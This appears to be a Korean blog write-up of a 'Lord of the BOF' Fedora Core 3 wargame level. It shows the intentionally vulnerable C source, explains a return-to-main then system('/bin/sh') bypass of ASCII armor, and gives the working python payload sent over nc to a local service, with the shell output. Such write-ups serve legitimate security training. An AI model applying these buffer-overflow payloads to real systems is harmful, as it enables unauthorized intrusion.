본문 바로가기

fedora 원정대

Fedora Core3 원정대 Level3 dark_eyes

세번째 문제는 dark_eyes다. 페도라에선 최초로 리모트 익스플로잇 문제라 할 수 있다. 처음엔 그것도 모르고 로컬에서 쉘땄다가 너무 쉽다고 좋아했다. 



/*

        The Lord of the BOF : The Fellowship of the BOF 

        - hell_fire

        - Remote BOF on Fedora Core 3 

        - hint : another fake ebp or got overwriting 

        - port : TCP 7777

*/

int main()

{

        char buffer[256];

        char saved_sfp[4];

        char temp[1024];


        printf("hell_fire : What's this smell?\n");

        printf("you : ");

        fflush(stdout);


        // give me a food

        fgets(temp, 1024, stdin);


        // save sfp 

        memcpy(saved_sfp, buffer+264, 4);


        // overflow!!

        strcpy(buffer, temp);


        // restore sfp 

        memcpy(buffer+264, saved_sfp, 4);


        printf("%s\n", buffer);


리모트 문제라 삽질을 좀 했다. system을 호출하려 했는데 아스키 아머때문에 인자를 넣을 수가 없었기 때문이다. 


풀이 1. main을 두번 호출하여 아스키 아머 우회


아스키 아머를 우회할 방법을 여러가지 고민해 봤는데 우선 가장 쉬운 방법으로는 main을 두번 호출해서 gets를 두번 받고 첫번째 gets엔 시스템의 인자를 넣고, 두번째 gets엔 시스템 주소를 리턴주소에 맞춰주는 방법이다.


좀 더 풀어서 설명하자면 첫번째 gets에서 우선 bof를 낸 후 ret주소를 main으로 잡고 그 뒤에 인자의 주소(/bin/sh의 주소를 넣었음)를 넣어준다.


(python -c 'print "a"*268+"\x84\x84\x04\x08"+"a"*8+"\x03\x36\x83\x00"+"\n")

-> 더미+메인주소+더미2+"/bin/sh"의 주소이다.


그러면 다시 한 번 main으로 뛰게 되는데, 이 때 더미2부분까지 뒤집어써서 시스템의 주소를 넣어주면 된다. 즉 최종 페이로드는 다음과 같다.


(python -c 'print "a"*268+"\x84\x84\x04\x08"+"a"*8+"\x03\x36\x83\x00"+"\n"+"e"*268+"\xc0\x07\x75\x00"';cat)| ~/hell_fire


-> 더미+main의 주소+더미2+"/bin/sh의 주소"+엔터+더미3+system 주소


이렇게 하면 system 함수 주소가 더미2부분에 들어가서 system 함수의 인자로 "/bin/sh"가 들어가게 된다. 




[dark_eyes@Fedora_1stFloor hell_fire]$ (python -c 'print "a"*268+"\x84\x84\x04\x08"+"a"*8+

"\x03\x36\x83\x00"+"\n"+"e"*268+"\xc0\x07\x75\x00"*3';cat) | nc 127.0.0.1 7777

hell_fire : What's this smell?

you : aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa(O径aaaaaaaa6 

hell_fire : What's this smell?

you : id

uid=503(hell_fire) gid=503(hell_fire) context=user_u:system_r:unconfined_t

cat flag

cat: flag: No such file or directory

my-pass

euid = 503

sign me up 



풀이 2. fake_ebp를 이용한 익스플로잇


소스에서 보면 sfp를 복구하는 부분이 있기 때문에 일반적으로 fake_ebp를 힘들지만, 다른 fake_ebp를 통해 익스플로잇을 할 수 있다. 


내일 이어서 포스팅.











'fedora 원정대' 카테고리의 다른 글

Fedora Core3 원정대 Level1 Gate  (0) 2015.01.12